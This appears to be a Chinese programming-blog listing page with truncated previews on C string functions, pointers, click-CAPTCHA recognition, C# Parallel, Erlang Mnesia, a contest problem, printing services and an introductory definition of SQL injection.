文章目录 前言求字符串长度&#xff08;strlen&#xff09;strlen的声明和使用strlen模拟实现 字符串拷贝&#xff08;strcpy&#xff09;strcpy的声明和使用strcpy模拟实现 字符串追加函数&#xff08;strcat&#xff09;strcat的声明和使用strcat模拟实现 字符串比较函数&…

C语言深入理解指针5

1.sizeof和strlen 对比 1.1sizeof sizeof用来计算变量所占内存空间大小&#xff0c;单位是字节&#xff0c;操作数是类型的话&#xff0c;计算的是使用类型创建的变量所占空间的大小 sizeof只关注占用内存空间大小&#xff0c;不在乎内存中存放什么数据 int main() {int a …

验证码识别之点选验证码识别——绪论

基于深度学习与传统算法的点选验证码识别 绪论 随着互联网的飞速发展&#xff0c;网络安全问题日益凸显&#xff0c;验证码作为一种有效的安全防护手段&#xff0c;广泛应用于登录验证、注册验证、防止自动化攻击等多个场景。传统的验证码形式如文本验证码、图形验证码等&…

使用 Parallel 类进行多线程编码(上)

用 C# 进行多线程编程有很多方式&#xff0c;比如使用 Thread 对象开启一个新线程&#xff0c;但这已经是一种落后的写法了&#xff0c;现在推荐的写法是使用 Parallel 类&#xff0c;它可以让我们像写传统代码一样编写多线程的程序&#xff0c;Parallel 类有三个常用的方法如下…

erlang学习: Mnesia Erlang数据库

创建Mnesia数据库 mnesia:create_schema([node()]).在shell里输入该行代码即可创建一个mnesia数据库于当前文件夹下 编译器文件路径下同样也有 数据库表定义创建 之后是数据库表定义&#xff0c;打开数据库创建完成后&#xff0c;启动数据库&#xff0c;添加一些表定义&…

ccpc网络热身赛: Iris’Food

题目 做法 第一位选除0外最小的数&#xff0c;其他位按从小到大选。 #include<bits/stdc.h> #define int unsigned long long using namespace std; int t,a[20],m; const int mod1e97; int ksm(int a,int b){int ans1;while(b){if(b%2) ansans*a%mod;b/2;aa*a%mod;}r…

哪里打印便宜一点?什么地方打印便宜?

在这个快节奏的时代&#xff0c;无论是学生、上班族还是创业者&#xff0c;都有可能面临需要紧急打印文件的情况。然而&#xff0c;面对市面上琳琅满目的打印服务提供商&#xff0c;如何选择性价比高的打印服务成了许多人关心的问题。今天&#xff0c;我们就来探讨一下“哪里打…

SQL注入基础入门完整教学

SQL注入-概述 什么是sql注入漏洞&#xff1f; 攻击者利用Web应用程序对用户输入验证上的疏忽&#xff0c;在输入的数据中包含对某些数据 库系统有特殊意义的符号或命令&#xff0c;让攻击者有机会直接对后台数据库系统下达指令&#xff0c;进而 实现对后台数据库乃至整个应用…